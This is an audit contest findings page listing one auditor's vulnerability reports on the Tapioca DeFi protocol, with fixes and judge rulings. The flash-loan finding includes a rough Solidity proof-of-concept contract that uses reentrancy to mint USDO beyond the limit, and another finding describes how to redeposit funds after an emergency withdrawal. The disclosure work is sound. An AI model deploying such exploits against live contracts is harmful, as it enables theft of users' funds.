Platform: Code4rena
Start Date: 05/07/2023
Pot Size: $390,000 USDC
Total HM: 136
Participants: 132
Period: about 1 month
Judge: LSDan
Total Solo HM: 56
Id: 261
League: ETH
Rank: 30/132
Findings: 9
Award: $1,913.39
🌟 Selected for report: 2
🚀 Solo Findings: 1
🌟 Selected for report: unsafesol
Also found by: 0xRobocop, 0xnev, peakbolt, rvierdiiev
441.0499 USDC - $441.05
Absence of proper USDO burn after liquidation in the BigBang market results in a redundant amount of USDO being minted without any collateral or backing. Thus, the overcollaterization of USDO achieved through BigBang will be eventually lost and the value of USDO in supply (1USDO = 1$) will exceed the amount of collateral locked in BigBang. This has multiple repercussions- the USDO peg will be threatened and yieldBox will have USDO which has virtually no value, resulting in all the BigBang strategies failing.
According to the Tapioca documentation, the BigBang market mints USDO when a user deposits sufficient collateral and borrows tokens. When a user repays the borrowed USDO, the market burns the borrowed USDO and unlocks the appropriate amount of collateral. This is essential to the peg of USDO, since USDO tokens need a valid collateral backing.
While liquidating a user as well, the same procedure should be followed- after swapping the user’s collateral for USDO, the repaid USDO (with liquidation) must be burned so as to sustain the USDO peg. However, this is not being done. As we can see here: https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L618-L637, the collateral is swapped for USDO, and fee is extracted and transferred to the appropriate parties, but nothing is done for the remaining USDO which was repaid. At the same time, this was done correctly done in BigBang#_repay for repayment here: https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L734-L736.
This has the following effects:
Manual Review
Burn the USDO acquired through liquidation after extracting fees for appropriate parties.
Other
#0 - c4-pre-sort
2023-08-05T10:06:40Z
minhquanym marked the issue as primary issue
#1 - c4-sponsor
2023-09-01T16:53:19Z
0xRektora (sponsor) confirmed
#2 - c4-judge
2023-09-13T09:27:47Z
dmvt marked the issue as selected for report
154.5795 USDC - $154.58
Any user can bypass the USDO#maxFlashLoan check and flash mint a virtually unlimited amount of USDO according to gas limit.
When a user calls the USDO#flashLoan function for flash-minting an amount of USDO, it is checked in https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/usd0/USDO.sol#L88 if the amount to be minted is less than the max mintable USDO, and if it is more than the limit, the transaction is reverted.
The receiver is supposed to be having a ERC3156FlashBorrower capability, and is supposed to return ‘FLASH_MINT_CALLBACK_SUCCESS’ which is ‘keccak256("ERC3156FlashBorrower.onFlashLoan")’ when called by the USDO contract at https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/usd0/USDO.sol#L93-L97. Now, the receiver can just make a reentrant call to USDO#flashLoan and mint more than the maximum allowed mintable value. Since the flashLoan function neither has a nonReentrancy modifier nor checks for the whole minted value of a transaction (it only checks for a particular call), the receiver can easily mint many multiples of allowed maxFlashMint value.
Here’s a rough contract that exploits this vulnerability:
interface USDOContract { function flashLoan( IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data ) external returns (bool); } contract Exploit { USDOContract victim; uint256 maxMintAmount; bytes32 returnByteValue = keccak256("ERC3156FlashBorrower.onFlashLoan"); uint256 count = 0; uint256 times = 2; bool activated = false; constructor(address _victim, uint256 _maxMintAmount) { victim = USDOContract(_victim); maxMintAmount = _maxMintAmount; } function doStuff() internal { //do whatever } function onFlashLoan(address, address, uint256, uint256, bytes) returns (bytes32) { if(count != times) { ++count; USDOContract.flashLoan(IERC3156FlashBorrower(address(this)),address(victim),maxMintAmount,bytes(0)); } if(count == times && activated == false) { doStuff(); activated = true; //necessary approvals, assuming doStuff() does not end up in a loss USDOContract.approve(address(victim), type(uint256).max); } return returnByteValue; } function startFunctioning() public { victim.flashLoan(IERC3156FlashBorrower(address(this)),address(victim),maxMintAmount, bytes(0)); } }
On calling the startFunctioning function, it would acquire a flashloan from the USDO contract, and when onFlashLoan is called, it would make repeated reentrant calls as has been set. After the required USDO is acquired, it can then call doStuff() and do what is needed by the exploiter. The USDO contract fails to stop the exploiter from minting less than max allowed value.
Manual Review
Add a contract variable which adds up the cumulative minted value for each transaction, and then resets it to 0 at the end of the USDO#flashLoan function.
Reentrancy
#0 - c4-pre-sort
2023-08-04T22:42:13Z
minhquanym marked the issue as duplicate of #1043
#1 - c4-judge
2023-09-18T15:08:20Z
dmvt marked the issue as satisfactory
🌟 Selected for report: GalloDaSballo
Also found by: 0xrugpull_detector, GalloDaSballo, SaeedAlipoor01988, kaden, ladboy233, unsafesol
76.3356 USDC - $76.34
https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/master/contracts/yearn/YearnStrategy.sol#L105 https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/master/contracts/yearn/YearnStrategy.sol#L145
Some unexpected reverts can occur due to price variations. Here's the documentation straight from the vault contract: https://github.com/yearn/yearn-vaults/blob/main/contracts/Vault.vy#L1025-L1073 It allows the user to specify the maxLoss as the last parameter. It determines how many shares can be burned to fulfill the withdrawal. Currently contract sets it to 0.
The default maxLoss specified by Yearn Vault is 0.01% as shown here: https://github.com/yearn/yearn-vaults/blob/develop/contracts/Vault.vy#L1028
But maxLoss set to 0 (also most probably 1) bps would be a problem if too big of a position is in a Yearn Vault (e.g. more than 10% of the vault), then a withdrawal may simply not be possible as the function will always revert. One could monitor the limits on at https://yearn.watch/
as specified in a similar finding shown here:
https://solodit.xyz/issues/m-13-m-05-yearn-withdrawuint-selector-may-backfire-sherlock-sentiment-sentiment-git
Due to lack of flexibility offered by setting maxLoss
of 0 at withdraw(), could lead to reverts at all times when loss is greater than 0.
In the case of emergencyWithdraw(), it would be even more worse. Let’s consider a case where LUNA crash like situation happens. Tapioca protocol would try to withdraw all the funds together from Yearn strategy but due to high volatility it would not be able to withdraw the funds,as even a loss of 1bps would lead to cause revert.
Manual Review
Add a “maxLoss” parameter to withdraw & emergencyWithdraw function and pass it to vault.withdraw().
Other
#0 - c4-pre-sort
2023-08-05T08:54:09Z
minhquanym marked the issue as duplicate of #96
#1 - c4-judge
2023-09-13T09:08:47Z
dmvt marked the issue as satisfactory
🌟 Selected for report: unsafesol
1008.3444 USDC - $1,008.34
Wrong accounting is done for yieldBoxShares while liquidating through the SGLLiquidation#liquidate function. This results in wrong values being read from the yieldBoxShares() function in the Singularity market. This might result in unintended behavior from other contracts which read from this function.
When a user adds collateral to the singularity market through SGLCollateral#addCollateral, the SGLLendingCommon#_addTokens function is called as we can see in the following code lines:
As we can see here, yieldBoxShares is updated to include the number of shares supplied while supplying collateral. Therefore, if the user borrows an amount, and is unable to pay and hence is to be liquidated, the SGLLiquidation#liquidate function is called on them. This should update the user’s yieldBoxShares to a new value, but they do not do this. Both the _closedLiquidation and _orderBookLiquidation methods do not update yieldBoxShares.
This results in wrong values stored as yieldBoxShares owned by a particular user, and hence when another contract calls Singularity#yieldBoxShares, the wrong value is supplied.
Manual Review
Update yieldBoxShares when liquidating.
Other
#0 - c4-pre-sort
2023-08-09T07:38:47Z
minhquanym marked the issue as primary issue
#1 - c4-sponsor
2023-08-25T20:07:42Z
0xRektora marked the issue as disagree with severity
#2 - 0xRektora
2023-08-25T20:07:59Z
Informational
.
#3 - c4-sponsor
2023-08-25T20:08:05Z
0xRektora marked the issue as sponsor confirmed
#4 - c4-judge
2023-09-30T14:41:02Z
dmvt marked the issue as selected for report
76.3356 USDC - $76.34
The minted aoTAP amount in AirdropBroker for phase 3 users is incorrect, resulting in all phase 3 users getting an incorrect amount of tokens.
The number of tokens per user in phase 2 and phase 3 airdrops are stated in the contract itself here: https://github.com/Tapioca-DAO/tap-token-audit/blob/59749be5bc2286f0bdbf59d7ddc258ddafd49a9f/contracts/option-airdrop/AirdropBroker.sol#L77-L85. Now, it is obvious that they do not contain the token decimals and need to be scaled up while being minted.
In phase 2, it is being scaled up correctly as we can see here: https://github.com/Tapioca-DAO/tap-token-audit/blob/59749be5bc2286f0bdbf59d7ddc258ddafd49a9f/contracts/option-airdrop/AirdropBroker.sol#L434.
However, in phase 3, it is not scaled up by the number of token decimals and is minted directly here: https://github.com/Tapioca-DAO/tap-token-audit/blob/59749be5bc2286f0bdbf59d7ddc258ddafd49a9f/contracts/option-airdrop/AirdropBroker.sol#L459-L461.
The exact lines are:
uint128 expiry = uint128(lastEpochUpdate + EPOCH_DURATION); // Set expiry to the end of the epoch uint256 eligibleAmount = PHASE_3_AMOUNT_PER_USER; uint128 discount = uint128(PHASE_3_DISCOUNT); oTAPTokenID = aoTAP.mint(msg.sender, expiry, discount, eligibleAmount);
This would mean that the end user would not only receive the wrong number of tokens, but also that they would not be able to receive the correct amount later. This would have a detrimental effect on the protocol.
Manual Review.
Scale up by the required decimals before minting in phase 3.
Decimal
#0 - c4-pre-sort
2023-08-05T15:10:51Z
minhquanym marked the issue as duplicate of #173
#1 - c4-judge
2023-09-18T13:28:00Z
dmvt changed the severity to 2 (Med Risk)
#2 - c4-judge
2023-09-18T13:29:22Z
dmvt marked the issue as satisfactory
🌟 Selected for report: zzzitron
Also found by: 0xG0P1, 0xRobocop, RedOneN, SaeedAlipoor01988, bin2chen, cergyk, rvierdiiev, unsafesol
37.0991 USDC - $37.10
The skim functionality of SGLCollateral#addCollateral is permanently broken following a closedLiquidation done by the Singularity market. No subsequent user will be able to use skim to add the correct number of shares to the Singularity market after a closedLiquidation ever.
SGLLiquidation offers two modes of liquidating a user- a closed liquidation and an order book liquidation. These are both called by the SGLLiquidation#liquidate function, and are called in such a way that closedLiquidation is only called if no liquidation queue exists or no appropriate amount of bid amount exists.
The SGLLiquidation#_orderBookLiquidation, as can be seen in https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/singularity/SGLLiquidation.sol#L157, updates the totalCollateralShare stored in the contract after the liquidation. However, the SGLLiquidation#_closedLiquidation function does not do anything of the sort.
The impact of this is that the totalCollateralShare stored in the contract will be greater than the actual collateral share which belongs to the contract. Now, let us assume that someone has been liquidated through the _closedLiquidation method and the totalCollateralShare has not been updated. Another user now tries to add collateral by calling the SGLCollateral#addCollateral function with the ‘skim’ parameter passed on as true so as to reclaim the extra collateral deposited. In the end, the _addTokens function is called as can be seen here:
As we can see, the totalCollateralShare value is passed on to the _addTokens function as ‘total’. Later on, since we passed ‘skim’ as true, it checks for this condition in the function:
require(share <= yieldBox.balanceOf(address(this), _assetId) - total, "SGL: too much" );
Since total > actual total collateral share here, share would never be lesser than yieldBox.balanceOf(address(this), _assetId)
. Therefore, adding collateral would revert for the user unless they input a much lesser number of ‘shares’ than deserved. Thus, the user would permanently lose a part of the shares.
Manual Review.
Update totalCollateralShare while doing a closed liquidation.
Other
#0 - c4-pre-sort
2023-08-05T01:17:13Z
minhquanym marked the issue as duplicate of #1040
#1 - c4-judge
2023-09-12T16:59:21Z
dmvt changed the severity to 2 (Med Risk)
#2 - c4-judge
2023-09-12T17:06:34Z
dmvt marked the issue as satisfactory
🌟 Selected for report: carrotsmuggler
Also found by: Madalad, Ruhum, dirk_y, rvierdiiev, unsafesol
76.3356 USDC - $76.34
https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/aave/AaveStrategy.sol#L209-L219 https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/balancer/BalancerStrategy.sol#L120-L125 https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/compound/CompoundStrategy.sol#L100-L108 https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/convex/ConvexTricryptoStrategy.sol#L148-L156 https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/curve/TricryptoNativeStrategy.sol#L182-L190 https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/lido/LidoEthStrategy.sol#L104-L112 https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/stargate/StargateStrategy.sol#L193-L208 https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/yearn/YearnStrategy.sol#L101-L106
YieldBox deposits tokens in appropriate strategies, where they are kept to gain yield. However, in case of emergency situations each strategy has an emergencyWithdraw function which withdraws funds. This is not set properly, therefore even if funds are withdrawn in an emergency, a malicious user can bypass this and again deposit all the funds back into whatever strategy (for example, liquidity pool) that funds were in before.
Whenever funds are deposited into the Singularity or BigBang markets, the tokens are deposited further into yieldBox where they are assigned to specific strategies. As mentioned before, an emergencyWithdraw function exists in each of the strategies so that funds can be rescued in case of an emergency. However, on any further deposit, the withdrawn tokens are sent back to where they were before, whether in a liquidity pool or any other yield bearing platform.
Let us take the example of ConvexTriCryptoStrategy. Here is how this exploit can be done:
There exists an emergency and the emergencyWithdraw function is called from here: https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/convex/ConvexTricryptoStrategy.sol#L148-L156. The wETH liquidity is removed and deposited into the Strategy contract (not the Convex pool) Now, nothing stops _deposited function from depositing the withdrawn wETH if it is called as can be seen here: https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/convex/ConvexTricryptoStrategy.sol#L300-L308.
It checks its own balance, and deposits the withdrawn wETH back into the convex pool.
To call the _deposited function, a user just has to be able to deposit funds into the yieldBox. For this, a malicious user just has to deposit an asset into Singularity or BigBang. The yieldBox immediately calls the deposited
function which ends up in calling the _deposited
function as can be seen here: https://github.com/Tapioca-DAO/YieldBox/blob/f5ad271b2dcab8b643b7cf622c2d6a128e109999/contracts/YieldBox.sol#L155.
Thus, a malicious user can just deposit a small amount of an asset and this will end up in the strategy of depositing assets back into the convex pool, even though emergencyWithdraw was called.
This can be used for various malicious motives, such as if a liquidity pool is exploited and an exploiter is stealing funds, and emergencyWithdraw is called, the exploiter can just deposit an asset into Singularity or BigBang, which results in assets being deposited back into the convex pool and the exploiter will be able to steal the assets of Tapioca users.
To prevent this, calling an emergencyWithdraw must stop funds from being deposited back into the pool.
The issue here is that calling emergencyWithdraw only withdraws the assets, it does not prevent assets from being deposited back. Therefore, there should be a mechanism to pause the asset deposits once emergencyWithdraw is called. This applies to all strategies that Tapioca employs.
Manual Review
A notPaused
modifier must be applied to the _deposited
function, which should be activated when an emergency withdrawal is done, and should be resumed only when the emergency is averted.
Other
#0 - c4-pre-sort
2023-08-06T05:47:04Z
minhquanym marked the issue as duplicate of #1522
#1 - c4-judge
2023-09-18T19:47:02Z
dmvt changed the severity to 2 (Med Risk)
#2 - c4-judge
2023-09-18T19:53:31Z
dmvt marked the issue as satisfactory
🌟 Selected for report: 0xWaitress
Also found by: Ack, BPZ, Breeje, LosPollosHermanos, Madalad, Nyx, Ruhum, SaeedAlipoor01988, ayeslick, c7e7eff, carrotsmuggler, cergyk, dirk_y, hack3r-0m, iglyx, kaden, kodyvim, kutugu, ladboy233, ltyu, mojito_auditor, n1punp, rvierdiiev, unsafesol, zzzitron
2.1417 USDC - $2.14
https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/master/contracts/convex/ConvexTricryptoStrategy.sol#L207-#L208 https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/curve/TricryptoNativeStrategy.sol#L188 https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/lido/LidoEthStrategy.sol#L108
Several strategies of Tapioca use Hardcoded slippages to prevent loss of funds. But during periods of high volatility, it would cause lockage of funds.
Let’s take the example of ConvexTricryptoStrategy.sol, where hardcoded slippage is used across almost all functions . But let’s look at a specific case.
During times of hacks or an other extreme situation on this particular startegy ,owner might use emergency withdrawals, I.e., large sum of tokens would be needed to be removed from strategies as the comment here says:
https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/master/contracts/convex/ConvexTricryptoStrategy.sol#L147
withdrawal of everything from strategy
.
At these extreme times, under high volatility , the protocol will not be able to withdraw the funds from strategy due to hardcoded slippage. As when owner will call emergencywithdrawal, it calls the compound(), where swapping of reward tokens to wrapped native happens. Here the slippage is hardcoded to 0.5% as shown below https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/master/contracts/convex/ConvexTricryptoStrategy.sol#L207-#L208
uint256 minAmount = calcAmount - (calcAmount * 50) / 10_000; //0.5% swapper.swap(swapData, minAmount, address(this), "");
and any slippage above it would cause a revert. During this Highly Volatile time, the Slippage % could easily go above 0.5% and any Swapping happening during this time would revert. And hence not allowing the protocol to withdraw from strategy causing threat of protocol funds getting hacked or any similar conditions.
These harcoded slippage is done on multiple contracts like:
BalancerStrategy.sol
, AaveStrategy.sol
, TricryptoNativeStrategy.sol
, TricryptoLPStrategy.sol
, StargateStrategy.sol
, LidoEthStrategy.sol
.
Manual Review
Accept slippage parameters as an input and validate them appropriately.
Other
#0 - c4-pre-sort
2023-08-05T14:38:35Z
minhquanym marked the issue as primary issue
#1 - 0xRektora
2023-08-28T15:53:54Z
#2 - c4-sponsor
2023-09-01T16:54:21Z
0xRektora (sponsor) confirmed
#3 - c4-judge
2023-09-18T19:40:27Z
dmvt marked the issue as duplicate of #245
#4 - c4-judge
2023-09-18T19:41:39Z
dmvt changed the severity to 2 (Med Risk)
#5 - c4-judge
2023-09-22T22:18:06Z
dmvt marked the issue as satisfactory